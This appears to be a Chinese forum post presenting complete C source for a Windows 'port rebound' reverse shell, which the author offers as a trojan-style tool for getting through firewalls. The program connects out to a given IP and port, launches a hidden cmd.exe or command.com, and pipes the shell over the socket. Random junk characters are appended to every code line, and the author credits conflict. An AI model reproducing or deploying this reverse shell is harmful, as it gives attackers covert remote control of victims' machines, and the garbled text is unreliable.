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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u<J2p?`\&`  
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/* ============================== .2{6h  
Rebound port in Windows NT Y# .6d  
By wind,2006/7 G-ZrM  
===============================*/ [cY?!Qd 0  
#include T\.7f~3  
#include .Lp Nm'=R  
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#pragma comment(lib,"wsock32.lib") re2Fv:4{  
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void OutputShell(); ``/y=k/au  
SOCKET sClient; ?cA8P.?^A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aslNlH6  
/7S-|%1  
void main(int argc,char **argv) oa?!50d  
{ 6Eij>{v  
WSADATA stWsaData; FDZeIj9uF  
int nRet; 1'gKZB)TG7  
SOCKADDR_IN stSaiClient,stSaiServer; /,-h%gj  
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if(argc != 3) #.RG1-L  
{ S]Sp Z8  
printf("Useage:\n\rRebound DestIP DestPort\n"); &3+1D1"y/  
return; _?*rtDzIM  
} 3/ yt*cr  
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WSAStartup(MAKEWORD(2,2),&stWsaData); GC,vQ\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zLE>kK  
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stSaiClient.sin_family = AF_INET; 1 yxZ  
stSaiClient.sin_port = htons(0); X=-gAutfE=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ze-TBh/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^/ULh,w!fP  
{ )@sJTAK  
printf("Bind Socket Failed!\n"); RcKQER  
return; m&(%&}g  
} :%+^}   
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stSaiServer.sin_family = AF_INET; sj?`7kg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); A8CIP:Z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V!jK3vc  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ym-lT|>Z  
{  3J'Bm"  
printf("Connect Error!"); ,k`YDy|#e  
return; m? ]zomP  
} Ncs4<"{$  
OutputShell(); ?HEo9/ *7  
} '2Mjz6mBDA  
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void OutputShell() ({ :yw  
{ .YnP% X=  
char szBuff[1024]; GF$rPY[  
SECURITY_ATTRIBUTES stSecurityAttributes; 8YT_DM5iI  
OSVERSIONINFO stOsversionInfo; . x\/XlM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Cw9@2E'b  
STARTUPINFO stStartupInfo; "^e}C@  
char *szShell; /\oyPD`((  
PROCESS_INFORMATION stProcessInformation; ,E n(gm  
unsigned long lBytesRead; EU&6 Tg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GgZEg ?@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `2Z4#$.  
stSecurityAttributes.lpSecurityDescriptor = 0; uM}dZp 1  
stSecurityAttributes.bInheritHandle = TRUE; J,(U<%n  
u(TgWp5WF  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^=heen<S%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [<@A8Q5,y  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n9mM5H47  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ImT+8p a  
stStartupInfo.wShowWindow = SW_HIDE; rTm>8et  
stStartupInfo.hStdInput = hReadPipe; 0k. #  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7>c 0V&  
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GetVersionEx(&stOsversionInfo); w<8O=  
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switch(stOsversionInfo.dwPlatformId) 0& SrKn  
{ r7wx?{~ 28  
case 1: wXIe5  
szShell = "command.com"; hr$VVbOho  
break; ;c \zgs~"T  
default: D!OG307P  
szShell = "cmd.exe"; +lk\oj$S+  
break; inq4CGY  
} 4P-'(4I)  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); nf+"vr}1  
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send(sClient,szMsg,77,0); NXV~[  
while(1) yC&b-y  
{ US*<I2ZLh  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GFy0R"&d[  
if(lBytesRead) T[8"u<O96  
{ \V!X& a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qKI4p3&E  
send(sClient,szBuff,lBytesRead,0); Fc{6*wtO  
} [/#k$-  
else {TcbCjyw  
{ $.x?in|_  
lBytesRead=recv(sClient,szBuff,1024,0); PL$(/Z  
if(lBytesRead<=0) break; !m/Dd0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v2W"+QS}u  
} Ej{eq^n  
} ^r?sgJ  
]Pg?(lr6)  
return; ,~=z_G`R  
}
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